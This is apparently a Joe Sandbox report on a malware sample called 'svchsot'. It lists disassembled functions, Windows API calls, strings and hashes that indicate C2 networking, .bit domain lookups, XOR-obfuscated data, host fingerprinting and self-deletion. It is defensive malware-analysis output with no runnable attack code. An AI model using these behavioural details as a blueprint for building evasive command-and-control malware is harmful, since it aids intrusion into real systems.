CoCreateInstance.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,?,?,?,?,00000003), ref: 0040150A
CoUninitialize.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,?,?,?,?,00000003), ref: 0040154A

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 43c152f9c1258b5aab60544137bccafeded6898d94c2c4b7aac4de6db551c34e
Instruction ID: e1fcb9e8668382ff1df2be3368636c98d7f5a7e60cdce7b2515e46dcb7230337
Opcode Fuzzy Hash: 43c152f9c1258b5aab60544137bccafeded6898d94c2c4b7aac4de6db551c34e
Instruction Fuzzy Hash: 8F116DB6A00208BFDB10EBA5CD81FDEB77CDF48304F1044AAF605E71D1D6799B858A65

Non-executed Functions

Function 004021BE Relevance: 4.6, APIs: 3, Instructions: 102memorywindowCOMMON

Download Yara Rule

APIs

QueryContextAttributesA.SECUR32(?,00000004,?,?,?), ref: 004021E5
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?), ref: 004021FD
EncryptMessage.SECUR32(?,00000000,?,00000000,?,?,00000004,?,?,00000004,?,?,00000004,?,?,?), ref: 004022BC

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: AllocAttributesContextEncryptMessageQueryVirtual
String ID:
API String ID: 2600646408-0
Opcode ID: 02ba1526253f38b931a9251ba81968e7cb52e43fd7f4d22e6742fe33fcee3b69
Instruction ID: bb4820d05ec3086cdeb5cc8c9db024efc48622a1fbf0da31433de820c3233dda
Opcode Fuzzy Hash: 02ba1526253f38b931a9251ba81968e7cb52e43fd7f4d22e6742fe33fcee3b69
Instruction Fuzzy Hash: 3B41BBB1D00209ABDF04DFD5CD86FEEBBB8AF04309F14412AF611B6291D7789A54CB69

Function 004022F3 Relevance: 3.1, APIs: 2, Instructions: 148memorywindowCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?), ref: 0040232C
DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 00402415

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: AllocDecryptMessageVirtual
String ID:
API String ID: 2757997683-0
Opcode ID: 4dd80c59f5025e805e551c1185a11eac5fdfc214c1019d63a1605f1a9e00a255
Instruction ID: dd2e808f2a7f60ab8900bb7019d6ed1fc4f7ed6951a0d36277901167c7216ed2
Opcode Fuzzy Hash: 4dd80c59f5025e805e551c1185a11eac5fdfc214c1019d63a1605f1a9e00a255
Instruction Fuzzy Hash: 9251FC71800209EFDF20DFD5C989BEEBBB9AF04308F20852AE515762D0D7BD9A44DB59

Function 004030A8 Relevance: 3.0, APIs: 2, Instructions: 42networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,00000000), ref: 004030EA
recv.WSOCK32(?,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?), ref: 004030FF

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: recvselect
String ID:
API String ID: 741273618-0
Opcode ID: 145d81fc42ec863bfb5ac53c8e88dffb51ace25f600cdbf3ef6adca0da5c6afc
Instruction ID: 07e3df0abe84dd8755d0ca02c78f7b554bb67cab11458c8c6da7faa0f388719c
Opcode Fuzzy Hash: 145d81fc42ec863bfb5ac53c8e88dffb51ace25f600cdbf3ef6adca0da5c6afc
Instruction Fuzzy Hash: F5F08C726002097AEF10DE95CC42FEF3B2DEB80715F10402AF611B40D0D7759B149669

Function 004039F9 Relevance: 2.6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

Strings

LdrLoadDll, xrefs: 00403ACA
ntdll.dll, xrefs: 00403AC0

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID:
String ID: LdrLoadDll$ntdll.dll
API String ID: 0-2564759627
Opcode ID: f2c99d1907ff19543f52f5ac337d1b49d91419fac9b1436ecae4c9b524e21c01
Instruction ID: 9298da1cca1edea127124c0df36dff7682b131858d48e649a44d4dca4efbebf2
Opcode Fuzzy Hash: f2c99d1907ff19543f52f5ac337d1b49d91419fac9b1436ecae4c9b524e21c01
Instruction Fuzzy Hash: C421C175A00258AACB20DF64CC44BDABBBCEF05315F1445ABE481B72C1D238AB42CF59

Function 00403843 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

psdirwa, xrefs: 0040384B

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID:
String ID: psdirwa
API String ID: 0-3683654655
Opcode ID: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction ID: 74436b7b52f5b9829575fb06fb1a0d424652b77369432e733752aa32b855fb5c
Opcode Fuzzy Hash: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction Fuzzy Hash: 66D05EBB7082062BB70C945FAE078ABAAAFC2D2369358D43BB900D52A5F661DA454074

Function 004029F0 Relevance: 45.9, APIs: 24, Strings: 2, Instructions: 418
networkmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000), ref: 00402A1E
VirtualAlloc.KERNEL32(00000000,00010000,00003000,00000004,00000000,00000000,00000001,00000000), ref: 00402A37
socket.WSOCK32(00000002,00000001,00000006,00000000,00010000,00003000,00000004,00000000,00000000,00000001,00000000), ref: 00402A45
setsockopt.WSOCK32(?,00000006,00000001,00000001,00000004,00000002,00000001,00000006,00000000,00010000,00003000,00000004,00000000,00000000,00000001,00000000), ref: 00402A6D
htons.WSOCK32(?,?,00000006,00000001,00000001,00000004,00000002,00000001,00000006,00000000,00010000,00003000,00000004,00000000,00000000,00000001), ref: 00402A75
inet_ntoa.WSOCK32(00000000,?,00000002,?,?,000000FF,00000000,?,?,00000006,00000001,00000001,00000004,00000002,00000001,00000006), ref: 00402AAC
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,00000000,?,?,00000006,00000001,00000001,00000004,00000002,00000001), ref: 00402AB2
ioctlsocket.WSOCK32(?,8004667E,00000001,?,00000000,00000000,00000000,00000000,?,00000002,?,?,000000FF,00000000,?,?), ref: 00402AEA
connect.WSOCK32(?,?,00000010,?,8004667E,00000001,?,00000000,00000000,00000000,00000000,?,00000002,?,?,000000FF), ref: 00402AFB
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000010,?,8004667E,00000001), ref: 00402B23
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000010), ref: 00402B4D
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00402B9D
GetUserNameExA.SECUR32(00000002,?,?,?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000), ref: 00402BB2
GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,xordata,?,00000032,00000002,?,?,?,8004667E), ref: 00402BEA

Part of subcall function 00403011: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,00000003), ref: 0040303C
Part of subcall function 00403011: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,?,00000003), ref: 00403099

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000003C,00000000,?,?,00000064,00000000,xordata,00000032), ref: 00402C36
GetTempPathA.KERNEL32(00000200,?,?,?,00000007,?,xordata,00000032,00000000,00000004,xordata,00000032,?,00000003,?,?), ref: 00402DDE

Part of subcall function 00402FB9: select.WSOCK32(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,?,00000003), ref: 00402FF0
Part of subcall function 00402FB9: recv.WSOCK32(?,?,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?), ref: 00403005

VirtualAlloc.KERNEL32(00000000,00010000,00003000,00000004,xordata,00000032,?,00000000,?,00000000,?,00000000,?,00000000,00000000,?), ref: 00402E8F
socket.WSOCK32(00000002,00000001,00000006,?,00000000,00000180,00000000,00010000,00003000,00000004,xordata,00000032,?,00000000,?,00000000), ref: 00402EDE
socket.WSOCK32(00000017,00000001,00000006,?,00000000,00000180,00000000,00010000,00003000,00000004,xordata,00000032,?,00000000,?,00000000), ref: 00402EEB
setsockopt.WSOCK32(?,00000006,00000001,00000001,00000004,00000017,00000001,00000006,?,00000000,00000180,00000000,00010000,00003000,00000004,xordata), ref: 00402F15
CreateThread.KERNEL32(00000000,00000000,0040266B,?,00000000,00000000), ref: 00402F28
ResetEvent.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,?,00000002,?,?,000000FF,00000000,?,?,00000006), ref: 00402F8D
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,?,00000002,?,?,000000FF,00000000,?,?), ref: 00402F98
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00000000,00000000,00000000,00000000,?,00000002,?,?,000000FF), ref: 00402FA7

Strings

xordata, xrefs: 00402BBA, 00402BF7, 00402CC8, 00402D4A, 00402DA3, 00402DB5
psdirwa, xrefs: 004029FA

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: EventVirtualselectsocket$AllocCreateioctlsocketsetsockopt$CloseFreeHandleInformationIoctlNameObjectPathResetSingleTempThreadUserVolumeWaitconnecthtonsinet_addrinet_ntoarecv
String ID: psdirwa$xordata
API String ID: 2801960720-2437912847
Opcode ID: 76f7de6c4a02175df0f76da3709fe3b5f3fcec5d4a51d6d9c57affad06ab54e9
Instruction ID: 4e2c7ad33b0a43d43f2b0a018ea91d7b8fe03e2726e9318bd295ca6b3743e651
Opcode Fuzzy Hash: 76f7de6c4a02175df0f76da3709fe3b5f3fcec5d4a51d6d9c57affad06ab54e9
Instruction Fuzzy Hash: 88F1C570940609BEEB21AF61CC46FD9BB7DBF04709F10417AF608BA1D1D7B96A948F18

Function 00401D7A Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 277
networkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?), ref: 00401DD0
socket.WSOCK32(00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008), ref: 00401DE3
inet_ntoa.WSOCK32(00000000,?,00000002,?,?,?,00000004,00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000), ref: 00401E15
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?), ref: 00401E1B
htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000), ref: 00401E3C
setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001), ref: 00401E5F
ioctlsocket.WSOCK32(?,8004667E,?,?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002,?,?,?), ref: 00401E77
connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002), ref: 00401E85
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000010,?,8004667E,?), ref: 00401EAA
ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000010), ref: 00401ECB
InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,8004667E,?,00000000), ref: 00401F23
FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 00401F4F
VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 00401F62
InitializeSecurityContextA.SECUR32(?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?,00000000,?,?,00000004,?), ref: 0040209F
FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?), ref: 004020FB

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00401DC9

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: Context$BufferFreeInitializeSecurityioctlsocket$AcquireAllocCredentialsHandleVirtualconnecthtonsinet_addrinet_ntoaselectsetsockoptsocket
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1655338410-238809041
Opcode ID: 9a7cb134bbe5828431b0f80e6277def1164bb4d02dbc02ea465fe5643af6a617
Instruction ID: a1f77cd9b1ba452eb49a53ef5aa178aad2002b5abbdd3eb506e83c50a09261c6
Opcode Fuzzy Hash: 9a7cb134bbe5828431b0f80e6277def1164bb4d02dbc02ea465fe5643af6a617
Instruction Fuzzy Hash: 11C12E71904318AAEF60DF91CC45FDEBB79AF04309F10406AF604BA1E1DBB95A88DF59

Function 004019A1 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 161
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040258D: VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00402E73,?,?,?,xordata,00000032,?,00000000,?), ref: 004025A4

socket.WSOCK32(00000002,00000001,00000006,?,?,?), ref: 004019CB
inet_ntoa.WSOCK32(00000000,?,00000002,?,00000002,00000001,00000006,?,?,?), ref: 004019EF
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,00000002,00000001,00000006,?,?,?), ref: 004019F5
htons.WSOCK32(?,00000000,00000000,?,00000002,?,00000002,00000001,00000006,?,?,?), ref: 00401A16
setsockopt.WSOCK32(?,00000006,00000001,00000001,00000004,?,00000000,00000000,?,00000002,?,00000002,00000001,00000006,?,?), ref: 00401A39
ioctlsocket.WSOCK32(?,8004667E,00000001,?,00000006,00000001,00000001,00000004,?,00000000,00000000,?,00000002,?,00000002,00000001), ref: 00401A51
connect.WSOCK32(?,00000002,00000010,?,8004667E,00000001,?,00000006,00000001,00000001,00000004,?,00000000,00000000,?,00000002), ref: 00401A5F
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000002,00000010,?,8004667E,00000001), ref: 00401A84
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000002,00000010), ref: 00401AA5
wsprintfA.USER32 ref: 00401ABC

Part of subcall function 004030A8: select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,00000000), ref: 004030EA
Part of subcall function 004030A8: recv.WSOCK32(?,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?), ref: 004030FF

ioctlsocket.WSOCK32(?,4004667F,), ref: 00401B25

Strings

, xrefs: 00401B16, 00401B1C
GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept:*/*Connection: close, xrefs: 00401AB0

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: ioctlsocket$select$FreeVirtualconnecthtonsinet_addrinet_ntoarecvsetsockoptsocketwsprintf
String ID: $GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept:*/*Connection: close
API String ID: 388612599-11662449
Opcode ID: f10adc2d016ab9bd56b7107efc54c15a119dfca1027f4a1d01129bb74318121b
Instruction ID: bdea78851fbdba21e666b9d485e92bbb71fa1fc1d3153c2685338e29d813cad7
Opcode Fuzzy Hash: f10adc2d016ab9bd56b7107efc54c15a119dfca1027f4a1d01129bb74318121b
Instruction Fuzzy Hash: 0F510DB1900218AADF20AEA1CD42FEE7A7DAF04309F50006AB604B61E1D7799B94DB59

Function 004016E1 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 105
sleepfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 00401707
GetCurrentProcessId.KERNEL32(?,?), ref: 0040170C
GetClassNameA.USER32(?,?,00000100), ref: 0040172C
GetWindowTextA.USER32(?,?,00000100), ref: 00401740
SendMessageA.USER32(?,0000004A,00000000,?), ref: 004017D3
OpenProcess.KERNEL32(00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?), ref: 004017E5
GetModuleFileNameExA.PSAPI(?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?), ref: 00401808
Sleep.KERNEL32(000003E8,?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?), ref: 00401816
DeleteFileA.KERNEL32(?,000003E8,?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?), ref: 00401822
RemoveDirectoryA.KERNEL32(00000000), ref: 00401857

Strings

Microsoft, xrefs: 0040176D
win32app, xrefs: 00401754

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: Process$FileNameWindow$ClassCurrentDeleteDirectoryMessageModuleOpenRemoveSendSleepTextThread
String ID: Microsoft$win32app
API String ID: 934796723-2644191155
Opcode ID: 0fca782c40aead5a1fb303147b9c9337858060468b0f4727220b0cc26206ad86
Instruction ID: a3b9b8394adf1a6e29eaca0ead023eb0e088389ce5f27d3d83471ba41547253c
Opcode Fuzzy Hash: 0fca782c40aead5a1fb303147b9c9337858060468b0f4727220b0cc26206ad86
Instruction Fuzzy Hash: B131457690021969EB21BF618C46BEA7B6CEB04345F0440BFB645F51D1DBB89F848F68

Function 0040266B Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 257
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WSOCK32(?,8004667E,00000001,?,?,?,?,?,00000010), ref: 004027B2
connect.WSOCK32(?,00000002,00000010,?,8004667E,00000001,?,?,?,?,?,00000010), ref: 004027D1
connect.WSOCK32(?,00000017,0000001C,?,8004667E,00000001,?,?,?,?,?,00000010), ref: 004027E4
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C,?,8004667E,00000001), ref: 00402812
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C), ref: 00402835
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00402878

Part of subcall function 0040316D: inet_ntoa.WSOCK32(00000000,?,?,000000FF,?,?,?,?,?,psdirwa,00000003), ref: 004031F9
Part of subcall function 0040316D: inet_addr.WSOCK32(00000000,00000000,?,?,000000FF,?,?,?,?,?,psdirwa,00000003), ref: 004031FF

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,xordata,00000032,00000005,0000000A,xordata,00000032), ref: 00402921
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000003,?,xordata,00000032,?,00000003,?,xordata,00000032,00000005,0000000A), ref: 004029D5

Strings

`, xrefs: 00402844
xordata, xrefs: 00402895, 004028A6, 004028CB, 004028DC, 0040295E, 0040296F, 004029B0

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$FreeIoctlVirtualinet_addrinet_ntoa
String ID: `$xordata
API String ID: 2299517021-1965087431
Opcode ID: 0a6ccc324a2c21a2fd11f6201a34909a3140eab1b7472c1289bcda44567e86d2
Instruction ID: 5013bebedc0bc346ab36578e200ecb0257ee320ea94098dbad96f17859f10e7c
Opcode Fuzzy Hash: 0a6ccc324a2c21a2fd11f6201a34909a3140eab1b7472c1289bcda44567e86d2
Instruction Fuzzy Hash: 61B16071D40249AEEB21DF94CC45FEEBBBCAF08704F0044AAF614B62D1D7B56A44CB69

Function 0040316D Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_ntoa.WSOCK32(00000000,?,?,000000FF,?,?,?,?,?,psdirwa,00000003), ref: 004031F9
inet_addr.WSOCK32(00000000,00000000,?,?,000000FF,?,?,?,?,?,psdirwa,00000003), ref: 004031FF
getaddrinfo.WS2_32(?,00000000,?,?), ref: 004032AD
freeaddrinfo.WS2_32(?,?,00000020,?,?,?,?,psdirwa,00000003), ref: 004032D6

Strings

DnsQuery_A, xrefs: 00403251
P@, xrefs: 0040322A
psdirwa, xrefs: 00403177
.bit, xrefs: 0040319D
dnsapi.dll, xrefs: 00403247

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfoinet_addrinet_ntoa
String ID: .bit$DnsQuery_A$dnsapi.dll$psdirwa$P@
API String ID: 2310520874-3062370187
Opcode ID: 6f826e601aef020fca76a149ff18687c82f6fe931678236e299c181331857183
Instruction ID: 363b05a7807f4452a8c7771370d81338da1e9ea0da13a6579ccede310f4393c1
Opcode Fuzzy Hash: 6f826e601aef020fca76a149ff18687c82f6fe931678236e299c181331857183
Instruction Fuzzy Hash: F4413D71900218AACF20EF91C845ADEBFBCAF18315F1045BBE501B71D1D779AB858FA9

Function 004025BA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(0000EA60,?), ref: 004025D8
WSAStartup.WSOCK32(00000202,?,0000EA60,?), ref: 004025E9
Sleep.KERNEL32(0002BF20,?,?,?,4001,000000FF,?,00000202,?,0000EA60,?), ref: 0040265D

Strings

BP@, xrefs: 0040264E
4001, xrefs: 00402605

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: Sleep$Startup
String ID: 4001$BP@
API String ID: 3152138391-3302280228
Opcode ID: a9612fd3af44f7659e51166a8326de0cd6fb2a5717d7ada40273e289a43929f1
Instruction ID: 009c93ee86411c3799691616a812b424ce5069f75b273bfd75eafb02d158dc9d
Opcode Fuzzy Hash: a9612fd3af44f7659e51166a8326de0cd6fb2a5717d7ada40273e289a43929f1
Instruction Fuzzy Hash: 2D019271A04218BECB60AF518D4EA9F766CAF01304F4046BBB548B51D1DFB94BC89E5B

Function 004037C6 Relevance: 7.5, APIs: 5, Instructions: 47fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,?,?,00000003), ref: 004037F5
GetLastError.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,?,?,00000003), ref: 00403801
